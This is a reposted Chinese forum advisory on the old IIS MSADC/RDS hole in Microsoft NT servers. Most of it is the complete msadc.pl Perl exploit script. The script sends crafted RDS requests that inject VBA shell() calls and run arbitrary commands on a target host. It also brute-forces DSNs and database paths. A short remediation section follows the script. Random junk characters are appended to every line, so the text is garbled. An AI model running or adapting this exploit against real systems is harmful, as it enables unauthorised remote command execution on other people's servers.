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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1{8SKfMdP  
S(c,Sinc  
涉及程序: y^#jM  
Microsoft NT server 8#9 di  
L)5YX-?  
描述: $\|$ekil4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 p1 9j  
&!uN N|W  
详细: rTiW&#  
如果你没有时间读详细内容的话,就删除: 4|Dxyb>pS  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z)6gh{B08  
有关的安全问题就没有了。 ^gwVh~j  
]}_@!F)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 J?WT  
Z^w}: {  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 p#9.lFSX  
关于利用ODBC远程漏洞的描述,请参看: w a!g/ \  
`,mE '3&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I-E}D"F;p[  
"(6]K}k@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 #-ioLt%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /hPgOaB  
V=pg9KR!T  
这里不再论述。 %C_RBd  
W 2VH?-Gw  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: xr uQ=Q  
tK3.HvD  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 4}FuoQL  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {%(_Z`vI  
m L#-U)?F  
;Ocih<4k  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  A7*<,]qT  
v,N*vqWS  
#!perl .z u0GsU=  
# VjbRjn5LI  
# MSADC/RDS 'usage' (aka exploit) script }Z MbTsm  
# ~7Ey9wRkD  
# by rain.forest.puppy %t&n%dhJ  
# !7MC[z(|N  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me YN1P9j#0d  
# beta test and find errors! +'9l 2DI;  
q<L>r?T[  
use Socket; use Getopt::Std; Ht UFl  
getopts("e:vd:h:XR", \%args); };[~>Mzl  
| I_,;c  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <KF|QE  
e&G!5kz!  
if (!defined $args{h} && !defined $args{R}) { )~1QOl "~  
print qq~ &>UI{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Y/1KvF4)k  
-h <host> = host you want to scan (ip or domain) sW[8f Z71  
-d <seconds> = delay between calls, default 1 second \IL/?J 5d  
-X = dump Index Server path table, if available -4|\,=j  
-v = verbose nPp\IE}:  
-e = external dictionary file for step 5 ^EGe%Fq*x]  
P9~7GFas|  
Or a -R will resume a command session =W(mZ#*vdY  
bce>DLF  
~; exit;} $;1#gq%  
[:-Ltfr  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; pp$WM\r  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 5;wA7@  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !424K-nW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); gF( aYuk  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} eMk?#&a)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } q@K;u[zFK  
rPVz !(;k  
if (!defined $args{R}){ $ret = &has_msadc; p\]Mf#B  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *NdSL  
aZt5/|B  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8RJXY:%  
. "cmd /c "; C~PrIM?  
$in=<STDIN>; chomp $in; lf4V; |!^  
$command="cmd /c " . $in ; 4,CQJ  
RG [*:ReB9  
if (defined $args{R}) {&load; exit;} \ct)/  
. :Q[Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; i3~"qbU%z[  
&try_btcustmr; %$/t`'&o-  
hu (h'  
print "\nStep 2: Trying to make our own DSN..."; bD_|n!3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; x8i;uH\8  
BsV2Q`(gT  
print "\nStep 3: Trying known DSNs..."; km1{Oh  
&known_dsn; ^vXMX^*  
}gQ FWT  
print "\nStep 4: Trying known .mdbs..."; S(kj"t*3  
&known_mdb; \ .+.VK  
J%d\ 7  
if (defined $args{e}){ BdcTKC  
print "\nStep 5: Trying dictionary of DSN names..."; U)~?/s{v  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } zPWX%1Qr  
MP/6AAt7=|  
print "Sorry Charley...maybe next time?\n"; T#'+w@Q9{9  
exit; \ IJ\  
#9aB3C  
############################################################################## 1&A@Zo5|  
W99MA5P  
sub sendraw { # ripped and modded from whisker 07WZ w1(;  
sleep($delay); # it's a DoS on the server! At least on mine... a+!#cQl  
my ($pstr)=@_; M)td%<_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || T|o[! @:,  
die("Socket problems\n"); va \ 5  
if(connect(S,pack "SnA4x8",2,80,$target)){ x<#Z3Kla  
select(S); $|=1; +g8wc(<ik  
print $pstr; my @in=<S>; H Myw:?  
select(STDOUT); close(S); ?;!d5Xuu  
return @in; H^cB ?i  
} else { die("Can't connect...\n"); }} <rd7<@>5D  
aBk~/  
############################################################################## 9 p6QNDp  
r|t ;#  
sub make_header { # make the HTTP request P@P(&{@  
my $msadc=<<EOT et|QW;*L  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Fy!u xT-\  
User-Agent: ACTIVEDATA #g,JNJ}  
Host: $ip `6:;*#jO,  
Content-Length: $clen 40cgsRa|  
Connection: Keep-Alive t]?u<KD<  
+JoE[;  
ADCClientVersion:01.06 ]m} <0-0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 jj^{^,z\  
j+0=)Q%I=  
--!ADM!ROX!YOUR!WORLD! dIiQ^M  
Content-Type: application/x-varg o:E+c_^q`  
Content-Length: $reqlen smEKQHB  
`$j"nP F_  
EOT ~A<1xszC  
; $msadc=~s/\n/\r\n/g; b|F_]i T  
return $msadc;} S2nF13u  
sM)qzO2wh  
############################################################################## >SO !{  
C'x?riJ/  
sub make_req { # make the RDS request q{/>hvl  
my ($switch, $p1, $p2)=@_; v'Y)~Kv@!  
my $req=""; my $t1, $t2, $query, $dsn; ?o'!(3`L  
n_5m+ 1N  
if ($switch==1){ # this is the btcustmr.mdb query L'k )  
$query="Select * from Customers where City=" . make_shell(); D<9FSxl6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q]F2bo  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} MONfA;64/  
4%wP}Zj#  
elsif ($switch==2){ # this is general make table query b e[KNrO  
$query="create table AZZ (B int, C varchar(10))"; ~_C[~-  
$dsn="$p1";} S#+Dfa`8X  
t,#9i#q#  
elsif ($switch==3){ # this is general exploit table query e(7F| G*  
$query="select * from AZZ where C=" . make_shell();  # Vz9j  
$dsn="$p1";} rj zRZ  
l \~w(8g<A  
elsif ($switch==4){ # attempt to hork file info from index server k(|D0%#b7  
$query="select path from scope()"; C.I.f9s?R  
$dsn="Provider=MSIDXS;";} JjarMJr| D  
zbsdK  
elsif ($switch==5){ # bad query  y/t{*a  
$query="select"; j:'sbU  
$dsn="$p1";} o33 wePx,  
L\d"|87lX  
$t1= make_unicode($query); ssbvuTr  
$t2= make_unicode($dsn); L&3Ak}sh  
$req = "\x02\x00\x03\x00"; }3sj{:z{  
$req.= "\x08\x00" . pack ("S1", length($t1)); (. ~#bl  
$req.= "\x00\x00" . $t1 ; 7UQFAt_r  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5B3S]@%  
$req.= "\x00\x00" . $t2 ; -r%4,4  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; A:$Qt%c  
return $req;} !#0Lo->OO  
X yi[z tN  
############################################################################## -*8|J;  
~#/NpKHT@A  
sub make_shell { # this makes the shell() statement tU2 8l.  
return "'|shell(\"$command\")|'";} =0,:w(Sb!  
xa+=9=<AQ  
############################################################################## 2pR+2p`  
-#Xo^-&  
sub make_unicode { # quick little function to convert to unicode yPG,+uQ$.  
my ($in)=@_; my $out; wZ7Opm<nt  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _U}pdzX?  
return $out;} QcBuUFf!c  
px6[1'|g  
############################################################################## Bw^*6P^l  
m\QUt ;  
sub rdo_success { # checks for RDO return success (this is kludge) rro92(y  
my (@in) = @_; my $base=content_start(@in); O iRhp(  
if($in[$base]=~/multipart\/mixed/){ f9FJ:?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &'{6_-kh  
return 0;} Jq0aDf f  
jWHv9XtW  
############################################################################## ;&mefaFlWp  
eXo7_#  
sub make_dsn { # this makes a DSN for us d{^9` J'  
my @drives=("c","d","e","f"); UIS\t^pJD  
print "\nMaking DSN: "; fFu+P<?"  
foreach $drive (@drives) { ' S%?&4  
print "$drive: "; %M"rc4Xd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . V$U#'G>m  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" [(Z{5gK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); aLZza"W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; mS)|i+5  
return 0 if $2 eq "404"; # not found/doesn't exist _a?c,<A  
if($2 eq "200") { E= 3Ui  
foreach $line (@results) { $07;gpZt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} a2J01B  
} return 0;} %K0 H?^.  
TmI~P+5w  
############################################################################## FbH 1yz  
VK>ZH^-  
sub verify_exists { \NE~k)`4j%  
my ($page)=@_; klkshlk d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3d<Z##`{4  
return $results[0];} *F:f\9   
SUv(MA&  
############################################################################## '3B"@^]  
ft |W  
sub try_btcustmr { p6)Jzh_/  
my @drives=("c","d","e","f"); ]70V  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v6uXik  
Jz"Yb  
foreach $dir (@dirs) { Rr>nka)U  
print "$dir -> "; # fun status so you can see progress [PXv8K%]p  
foreach $drive (@drives) { Sv&_LZ-"P  
print "$drive: "; # ditto =$kSvCjP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 2G=prS`s  
$reqlenlen=length( "$reqlen" ); y Skz5K+|g  
$clen= 206 + $reqlenlen + $reqlen; v#/k`x\  
l1_hD ,4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6uNWL `v  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]7+9>V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l Vb{bO9-O  
[S Jx\Os  
############################################################################## P*=M?:Jb,  
{,:yZ&(  
sub odbc_error { = Ob-'Syg>  
my (@in)=@_; my $base; `i~kW  
my $base = content_start(@in); Y)V)g9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w|t}.u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a] =k-Xh  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %%uvia=e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Veeuw  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,> %=,x  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; VD.wO%9?)  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . wk+| }s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >#u9W'@|  
wqx9  
############################################################################## W}6OMAbsE;  
Sbzx7 *X  
sub verbose { N [qNSo|  
my ($in)=@_; OSu/ !Iv\  
return if !$verbose; B183h  
print STDOUT "\n$in\n";} ;T-`~  
A,PF#G(  
############################################################################## l%\p  
 $I*<gn9  
sub save { o5h*sQ9  
my ($p1, $p2, $p3, $p4)=@_; $?Dcp^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; fYgEiap  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; rt8"U <~  
close OUT;} dbe\ YE  
f;{K+\T  
############################################################################## Z;'5A2  
{TOz}=R"3h  
sub load { _P}wO8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >;^t)6  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Rz03he  
@p=<IN>; close(IN); Y|X!da/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;Q.'u  
$target= inet_aton($ip) || die("inet_aton problems"); Xtk3~@  
print "Resuming to $ip ..."; 8x~'fzf;Sq  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; .]XBJc  
if($p[1]==1) { f%[0}.wp  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S UB rFsA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Pt=@U:  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); /mK."5-cm  
if (rdo_success(@results)){print "Success!\n";} .ri?p:a}w  
else { print "failed\n"; verbose(odbc_error(@results));}} X$A[~v  
elsif ($p[1]==3){ 8"=E 0(m  
if(run_query("$p[3]")){ ?B{,%2+  
print "Success!\n";} else { print "failed\n"; }} P*!~Z *"  
elsif ($p[1]==4){ '/U%-/@  
if(run_query($drvst . "$p[3]")){ Z,_EhEm  
print "Success!\n"; } else { print "failed\n"; }} z(dDX%k@  
exit;} Nu,t,&B   
./qbWr`L  
############################################################################## Xs Ey8V  
c&"OhzzJK'  
sub create_table { ET\>cxSp  
my ($in)=@_; werTwe2Q  
$reqlen=length( make_req(2,$in,"") ) - 28; E0t%]?1  
$reqlenlen=length( "$reqlen" ); UA3!28Y&E3  
$clen= 206 + $reqlenlen + $reqlen; qZ<|A%WQ  
my @results=sendraw(make_header() . make_req(2,$in,"")); a/Ik^:>m  
return 1 if rdo_success(@results); Nm{J=`  
my $temp= odbc_error(@results); verbose($temp); -Pp =)_O  
return 1 if $temp=~/Table 'AZZ' already exists/; :"Gd;~p.  
return 0;} Sp-M:,H3H  
Yu+;vjbK-  
############################################################################## [M#I Nm}  
*|B5,Ey  
sub known_dsn { gR 76g4|=;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go u OB`A-K  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", W<\*5oB%H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", X,`^z,M%I  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); mV;)V8'  
GhC%32F  
foreach $dSn (@dsns) { ;s^F:O  
print "."; ^!7|B3`  
next if (!is_access("DSN=$dSn")); m?y'Y`  
if(create_table("DSN=$dSn")){ f>[!Zi*  
print "$dSn successful\n"; QD*\zB  
if(run_query("DSN=$dSn")){ 5?HoCz]l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { z^Y4:^L~I  
print "Something's borked. Use verbose next time\n";}}} print "\n";} i*6 1i0  
Tqm)-|[  
############################################################################## lEC91:Jyt  
Ih_=yk  
sub is_access { )YPu t.  
my ($in)=@_; yP"D~u  
$reqlen=length( make_req(5,$in,"") ) - 28; ./_4D}  
$reqlenlen=length( "$reqlen" ); ;~"#aL50fe  
$clen= 206 + $reqlenlen + $reqlen; jc7NYoT:  
my @results=sendraw(make_header() . make_req(5,$in,"")); l0BYv&tu  
my $temp= odbc_error(@results); rodr@  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4<A+Tf  
return 0;} Ou5,7Ne  
^K?Mq1"Db  
############################################################################## 55V&[>|K5  
+nKf ^rG  
sub run_query { JQ<9~J  
my ($in)=@_; 4mci@1K#^  
$reqlen=length( make_req(3,$in,"") ) - 28; U&OE*dq  
$reqlenlen=length( "$reqlen" ); EMw biGV  
$clen= 206 + $reqlenlen + $reqlen; &d6  
my @results=sendraw(make_header() . make_req(3,$in,"")); +"3K)9H  
return 1 if rdo_success(@results); /_ RrNzqy  
my $temp= odbc_error(@results); verbose($temp); t }>"nr0  
return 0;}  t@+z r3  
4>Y\Y$3  
############################################################################## Rf#t|MW*#  
;|D8"D6]  
sub known_mdb { :rnj>U6<>  
my @drives=("c","d","e","f","g"); s}Q*zy  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2 X`5YN;  
my $dir, $drive, $mdb; nD!5I@D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; te b/  
e$4$G<8;y  
# this is sparse, because I don't know of many kWxcB7)uk  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %R-KkK<S  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FQO>%=&4  
"\\system32\\certmdb.mdb", HyJ&;4rf  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q/3 )yG6s  
8]A`WDO3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9~6~[z  
"\\cfusion\\cfapps\\forums\\forums_.mdb", i3<ZFR  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", m:C|R-IL  
"\\cfusion\\cfapps\\security\\realm_.mdb", vx4Jk]h+=L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", :M\3.7q  
"\\cfusion\\database\\cfexamples.mdb", !A#(bC  
"\\cfusion\\database\\cfsnippets.mdb", jB0ED0)wX  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", t4FaU7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5tcJT z  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &)F# cVB  
"\\cfusion\\database\\smpolicy.mdb", jbs)]fqC;  
"\\cfusion\\database\cypress.mdb", }x+s5a;!3/  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", x>MY_?a  
"\\website\\cgi-win\\dbsample.mdb", Y5\=5r/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^<v]x; 3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" S1E=EVG  
); #these are just V"W)u#4,  
foreach $drive (@drives) { *S\/l-D  
foreach $dir (@dirs){ :'K%&e?7s  
foreach $mdb (@sysmdbs) { $#HUxwx4  
print "."; Sj9NhtF]f  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ">'`{mXew  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; J/ZC<dkYQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !/6KQdF  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; '/ GZ,~q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} &?#!%Ds  
=7 ${bp!  
foreach $drive (@drives) { 4<l&cP  
foreach $mdb (@mdbs) { p WLFJH}N  
print "."; Ukg iSv+  
if(create_table($drv . $drive . $dir . $mdb)){ '`/w%OEVC5  
print "\n" . $drive . $dir . $mdb . " successful\n"; U Y')|2y 5  
if(run_query($drv . $drive . $dir . $mdb)){  FA#8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Cl'3I%$8K  
} else { print "Something's borked. Use verbose next time\n"; }}}} )+v' @]r  
} 8~eYN- #W&  
:yE7jXB  
############################################################################## &dvL`  
K0z@gWGE  
sub hork_idx { mFeoeI,Jv  
print "\nAttempting to dump Index Server tables...\n"; U(u$5  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; V0a)9\x(\  
$reqlen=length( make_req(4,"","") ) - 28; *pKj6x  
$reqlenlen=length( "$reqlen" ); [;qZu`n>  
$clen= 206 + $reqlenlen + $reqlen; 1,(uRS#bk  
my @results=sendraw2(make_header() . make_req(4,"","")); 7 J+cs^2  
if (rdo_success(@results)){ 2` j#eB1  
my $max=@results; my $c; my %d; s5D<c'-  
for($c=19; $c<$max; $c++){ 2kQa3Pan  
$results[$c]=~s/\x00//g; 8[mj*^P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; z!/ MBM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; iVqa0Gl+}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; (Gpk;DD  
$d{"$1$2"}="";} <o.?T*Q9  
foreach $c (keys %d){ print "$c\n"; } O*y@4AR"S  
} else {print "Index server doesn't seem to be installed.\n"; }} dRPX`%J  
&~a/Upz0]_  
############################################################################## 6/&aBE=  
`6 `oLu\l  
sub dsn_dict { >2@ a\  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); KvfZj  
while(<IN>){ = *~Q5F  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^. ; x  
next if (!is_access("DSN=$dSn")); XY1b_uY  
if(create_table("DSN=$dSn")){ `o,D[Jd  
print "$dSn successful\n"; LSN%k5G7.  
if(run_query("DSN=$dSn")){ Tv`-h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (N`x  
print "Something's borked. Use verbose next time\n";}}} d@0&  
print "\n"; close(IN);} *m 9,_~t  
6d# V  
############################################################################## s2M|ni=  
{rWFgn4Li  
sub sendraw2 { # ripped and modded from whisker h!UB#-  
sleep($delay); # it's a DoS on the server! At least on mine... /ng +IC3  
my ($pstr)=@_; Q ^z&;%q1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || a<ztA:xt|1  
die("Socket problems\n"); +\@WOs  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;yVT:qd %  
print "Connected. Getting data"; Ij}k>qO/2  
open(OUT,">raw.out"); my @in; +/Q ?<*[  
select(S); $|=1; print $pstr; zMW[Xx!  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} rP7~ R  
close(OUT); select(STDOUT); close(S); return @in; E2a00i/9Y  
} else { die("Can't connect...\n"); }} 1X$hwkof  
_;yi/)-2  
############################################################################## cp\A xWtUZ  
|jwN8@  
sub content_start { # this will take in the server headers H&3i[D!p  
my (@in)=@_; my $c; {9yW8&m  
for ($c=1;$c<500;$c++) { Z2wgfP`  
if($in[$c] =~/^\x0d\x0a/){ A3=$I&!%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } FsyM{LT  
else { return $c+1; }}} /vG)n9Rc  
return -1;} # it should never get here actually ^J_rb;m43  
r7=r~3)  
############################################################################## Q'n]+%YN  
0nV|(M0lu?  
sub funky { }9,^=g-  
my (@in)=@_; my $error=odbc_error(@in); A/+bwCDP  
if($error=~/ADO could not find the specified provider/){ _]~= Kjp  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jQLiqi`  
exit;} c _faW  
if($error=~/A Handler is required/){ "Ooc;xD3<  
print "\nServer has custom handler filters (they most likely are patched)\n"; (aa}0r5  
exit;} AyUiX2=w1  
if($error=~/specified Handler has denied Access/){ g0 NSy3t  
print "\nServer has custom handler filters (they most likely are patched)\n"; !1s^TB>N  
exit;}} _Bhm\|t  
QY]G+3W  
############################################################################## 95%, 8t  
Z}*{4V`R  
sub has_msadc { +bv-!rf  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Y']D_\y  
my $base=content_start(@results); f.cQp&&]r  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); zjVQ\L  
return 0;} !04zWYHo  
L1i:hgq0]  
######################## _~_E(rTn  
`[*nUdG  
Yo$ xz  
解决方案: fqcFfz6?x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]sf1+3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =oPc\VYW  
jbU=D:|  
拿出来充数 哈哈
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